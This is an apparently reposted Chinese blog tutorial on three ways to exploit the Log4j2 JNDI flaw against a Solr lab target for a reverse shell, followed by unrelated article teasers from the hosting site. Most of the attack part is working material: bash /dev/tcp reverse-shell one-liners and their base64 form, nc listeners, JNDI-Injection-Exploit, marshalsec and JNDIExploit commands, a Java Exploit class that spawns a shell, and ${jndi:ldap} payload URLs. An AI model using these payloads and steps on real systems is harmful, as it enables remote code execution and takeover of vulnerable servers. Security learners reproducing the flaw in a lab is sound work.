Log4j2漏洞(二)3种方式复现反弹shell

★★免责声明★★
文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与学习之用,读者将信息做其他用途,由Ta承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

1、前言

明天就是除夕了,提前祝大家:新年新气象,龙年龖龖!也祝愿自己2024年一切顺利!

本文主要是分享log4j2反弹shell的3种方式,第一种方式【JNDI-Injection-Exploit】对jdk版本要求比较高,因此我在靶场复现时统一采用jdk1.8.0_191。靶场环境和漏洞原理请参阅上一篇《Log4j2漏洞(一)原理和dnslog验证》。以下是3种反弹shell复现步骤

2 、反弹shell【JNDI-Injection】

这是对环境要求最高的一种方式。

2.1、制作反弹shell的payload
# 反弹shell指令-格式
bash -i >& /dev/tcp/反弹shell的IP/nc监听的端口 0>&1

# 反弹shell指令-kali攻击机
bash -i >& /dev/tcp/192.168.242.4/9999 0>&1

# 把以上payload进行base64编码,使用在线网址:https://base64.us/
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0Mi40Lzk5OTkgMD4mMQ==
2.2、监听EXP中端口

在攻击机kali使用nc命令开启监听

# 端口自定义,kali系统的ip: 192.168.242.4
nc -lvvp 9999

# 提示以下信息表示监听成功
listening on [any] 9999 ...
2.3、启动JNDI服务

使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,使用github上提供的Exploit,项目地址:https://github.com/welk1n/JNDI-Injection-Exploit ,下载下来自己编译打包,注意:编译打包要和攻击机的启动JNDI服务的jdk版本号(包含小版号)一定要一致,不然即使服务启动了,在反弹shell步骤会一直不成功。如果自己本机没有搭建jdk和maven环境的话,文末有提供下载方式。

# 切换到目标目录(我自己放jar的目录)
cd tools/log4j

# 命令-格式
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,base64反弹shell的payload}|{base64,-d}|{bash,-i}" -A "攻击机IP地址"

# 目标执行的命令
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0Mi40Lzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "192.168.242.4"

注意:每次运行 JNDI-Injection-Exploit 后,生成的rmi/ldap端口后一串字符是随机值,每次运行后URL值是不一样的。

在这里插入图片描述

2.4、设置payload并访问

经测试选择JDK 1.8 和JDK1.7下的rmi 和ldap都可以反弹shell成功,JDK没带版本的失败,建议跟自己环境同一版本JDK的,或者都可以测试一下。

# poc原文 
${jndi:rmi://192.168.242.4:1099/fvifkk}

${jndi:ldap://192.168.242.4:1389/fvifkk}

# 拼接poc进行访问
http://your-ip:8983/solr/admin/cores?action=${jndi:rmi://192.168.242.4:1099/fvifkk}
2.5、反弹shell成功

在这里插入图片描述

3、反弹shell-【marshalsec】

这是最麻烦的一种方式。

3.1、生成Exploit.class

jdk要求1.8_191版本,ip修改为kali的ip,端口为nc监听的端口,源码如下:

// javac Exploit.java
import java.lang.Runtime;
import java.lang.Process;

public class Exploit {
static {
try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/攻击机kali机的ip/nc监听的端口 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

注意:文件命名为Exploit.java,在文件目录,打开cmd,使用命令生成Exploit.class文件,或者在kali系统上生成也可以

javac Exploit.java 

然后把Exploit.class文件复制到kali系统自己指定的文件夹里面,比如:/home/kali/tools/log4j

文末我有提供Exploit.java源码文件下载方式,如果使用该方式,里面的ip和端口需要修改为自己测试机器的和监听的端口。

3.2、开启web服务能访问恶意文件
# 切换到目录
cd /home/kali/tools/log4j

# 开启web服务能访问恶意文件,kali系统的ip: 192.168.242.4
python3 -m http.server 80

直接访问:http://192.168.242.4,可以看到界面列出来当前目录下的所有文件

在这里插入图片描述

3.3、使用marshalsec工具开启ldap服务端

ip修改为kali的ip,端口为ldap,命令如下:

# 切换到目录
cd /home/kali/tools/log4j

# 开启ldap服务端命令
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.242.4/#Exploit" 7777

# 开启成功有以下提示信息
Listening on 0.0.0.0:7777
3.4、nc监听

监听恶意文件中的地址ip,也就是第3.1、生成Exploit.class的配置的ip和端口

# 监听命令
nc -lvvp 1234

# 监听成功有以下提示信息
listening on [any] 1234 ...
3.5、设置payload并访问
# poc原文
${jndi:ldap://192.168.242.4:7777/Exploit}

# 拼接poc进行访问
http://your-ip:8983/solr/admin/cores?action=${jndi:ldap://192.168.242.4:7777/Exploit}
3.6、反弹shell成功

在这里插入图片描述

4、反弹shell-【JNDIExploit】

这是最简单的一种复现方式,步骤少。

4.1、开启监听命令
# 切换到目录
cd /home/kali/tools/log4j

# 监听命令, -i 本机的ip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -l 8888 -p 6666 -i 192.168.242.4 
4.2、开启nc监听
nc -lvvp 10010
4.3、设置payload并访问
# poc原文
${jndi:ldap://192.168.242.4:8888/Basic/ReverseShell/192.168.242.4/10010}

# 拼接poc进行访问
http://your-ip/solr/admin/cores?action=${jndi:ldap://192.168.242.4:8888/Basic/ReverseShell/192.168.242.4/10010}
4.4、反弹shell成功

在这里插入图片描述

5、资料获取

如果需要Log4j2反弹shell的工具包,请关注公众号:大象只为你,后台回复:log4j2反弹shell。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/378684.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

2023年06月CCF-GESP编程能力等级认证C++编程二级真题解析

一、单选题(每题2分,共30分) 第1题 高级语言编写的程序需要经过以下()操作,可以生成在计算机上运行的可执行代码。 A. 编辑 B. 保存 C. 调试 D. 编译 答案:D 第2题 能够实现下面流程图功能的伪代码是( )。 A. if 条件判断 then 语句块 B. if 条件判断 then 什么…

使用x86架构+Nvidia消费显卡12G显存,搭建智能终端,将大模型本地化部署,说不定是未来方向,开源交互机器人设计

1,大模型本地部署 视频说明地址: https://www.bilibili.com/video/BV1BF4m1u769/ 【创新思考】(1):使用x86架构Nvidia消费显卡12G显存,搭建智能终端,将大模型本地化部署,语音交互机…

Git中为常用指令配置别名

目录 1 前言 2 具体操作 2.1 创建.bashrc文件 2.2 添加指令 2.3 使其生效 2.4 测试 1 前言 在Git中有一些常用指令比较长,当我们直接输入,不仅费时费力,还容易出错。这时候,如果能给其取个简短的别名,那么事情就…

一文读懂转融通

最近多家公司都在讲解关于转融通要求。今天我们就来详细聊聊! 转融通是一种证券借贷机制,它允许机构投资者在融资融券交易中借入或借出证券。 具体来说,机构投资者可以向券商借入证券,或者将持有的证券借给券商,以扩大…

开源项目的三年,我的项目经历了哪些变化?

0.前言 自己一个项目写了三年,到底写了什么东西了,这个项目经历了哪些变化呢?其中的心路历程如何? 兄弟们,要是感觉我的项目有价值,去b站给俺点点关注呐。我更新的更快。点击下面的了解就可以跳转去b站。…

【VTKExamples::PolyData】第二十三期 InterpolateMeshOnGrid

很高兴在雪易的CSDN遇见你 VTK技术爱好者 QQ:870202403 前言 本文分享VTK样例InterpolateMeshOnGrid,并解析接口vtkProbeFilter 、vtkWarpScalar & vtkDealuany2D等多个接口,希望对各位小伙伴有所帮助! 感谢各位小伙伴的点赞+关注,小易会继续努力分享,一起进步!…

LabVIEW多任务实时测控系统

LabVIEW多任务实时测控系统 面对现代化工业生产的复杂性和多变性,传统的测控系统已难以满足高效、精准、可靠的监控和控制需求。因此,开发一种基于LabVIEW的智能测控系统,能够提高生产效率,保证生产安全,是解决现代工…

java 批量获取修改mp3文件标题、艺术家等内容

前言 java 批量获取&修改mp3文件标题、艺术家等内容 最近下了一本有声小说,文件名称是每一集的集数,但标题全是网址,放到手机音乐播放器名称显示的是标题,完全看不出是哪一集,200多集如果一集一集改怕是手得废掉…

【Spring源码解读!底层原理进阶】【上】探寻Spring内部:BeanFactory和ApplicationContext实现原理揭秘✨

🎉🎉欢迎光临🎉🎉 🏅我是苏泽,一位对技术充满热情的探索者和分享者。🚀🚀 🌟特别推荐给大家我的最新专栏《Spring 狂野之旅:底层原理高级进阶》 &#x1f680…

MySQL8.0 最新版下载安装,手把手式的教程,小白都能安装成功!!

1、打开MySQL数据库官网的下载地址,根据自己的操作系统下载对应的安装包。我这里是Windows的,操作步骤如下: https://dev.mysql.com/downloads/installer/2、选择不登录下载 3、等待下载完成 4、然后点击下载下来的安装包 5、选择安装类型,Custom自定义安装 6、接…

io三个练习:

练习一: 使用 四种方式拷贝文件,并统计各自用时 1字节流的基本流:一次读写一个字节 2字节流的基本流:一次读写一个字节数组 3字节缓冲流:一次读写一个字节 4字节缓冲流:一次读写一个字节数组 public clas…

2024幻兽帕鲁服务器多少钱一套?

2024年幻兽帕鲁服务器价格表更新,阿里云、腾讯云和华为云Palworld服务器报价大全,4核16G幻兽帕鲁专用服务器阿里云26元、腾讯云32元、华为云26元,阿腾云atengyun.com分享幻兽帕鲁服务器优惠价格表,多配置报价: 幻兽帕鲁…

【Flink状态管理(二)各状态初始化入口】状态初始化流程详解与源码剖析

文章目录 1. 状态初始化总流程梳理2.创建StreamOperatorStateContext3. StateInitializationContext的接口设计。4. 状态初始化举例:UDF状态初始化 在TaskManager中启动Task线程后,会调用StreamTask.invoke()方法触发当前Task中算子的执行,在…

SolidWorks学习笔记——草图绘制的基本命令

目录 一、进入草图绘制 二、直线命令与删除命令 三、圆弧命令与矩形命令 四、槽口命令以及多边形命令 五、椭圆以及倒角命令 六。草图绘制中的剪裁命令 七、草图中的几何关系 八、草图绘制中的智能尺寸 九、从外部粘贴草图(CAD) 一、进入草图绘…

机器人运动学林沛群——变换矩阵

对于仅有移动,由上图可知: A P B P A P B o r g ^AP^BP^AP_{B org} APBPAPBorg​ 对于仅有转动,可得: A P B A R B P ^AP^A_BR^BP APBA​RBP 将转动与移动混合后,可得: 一个例子 在向量中&#xff…

JCIM | MD揭示PTP1B磷酸酶激活RtcB连接酶的机制

Background 内质网应激反应(UPR) 中的一个重要过程。UPR是由内质网中的三种跨膜传感器(IRE1、PERK和ATF6)控制的细胞应激反应,当内质网中的蛋白质折叠能力受到压力时,UPR通过减少蛋白质合成和增加未折叠或错…

MySQL 时间索引的选择

背景 MySQL 在使用过程中经常会对时间加索引,方便进行时间范围的查询,常见的时间类型有 data、datetime、long、timestamp 等,在此分析下这几种时间类型的索引大小,以找到比较合适的时间类型。 时间类型对比 常用的索引类型是 …

一篇文章入门Shell编程

一、初始Shell shell 是一个命令行解释器,它接收应用程序/用户命令,然后调用操作系统内核。 shell 还是一个功能相当强大的编程语言,易编写,易调试,灵活性强。 Linux提供的Shell解析器有: /bin/sh /bin/b…

字节3面真题,LeetCode上hard难度,极具启发性题解

文章目录 🚀前言🚀LeetCode:41. 缺失的第一个正整数🚀思路🚀整个代码思路串一下🚀Code 🚀前言 铁子们好啊!阿辉来讲道题,这道题据说是23年字节3面真题,LeetC…

中科大计网学习记录笔记(四):Internet 和 ISP | 分组延时、丢失和吞吐量

前言: 学习视频:中科大郑烇、杨坚全套《计算机网络(自顶向下方法 第7版,James F.Kurose,Keith W.Ross)》课程 该视频是B站非常著名的计网学习视频,但相信很多朋友和我一样在听完前面的部分发现信…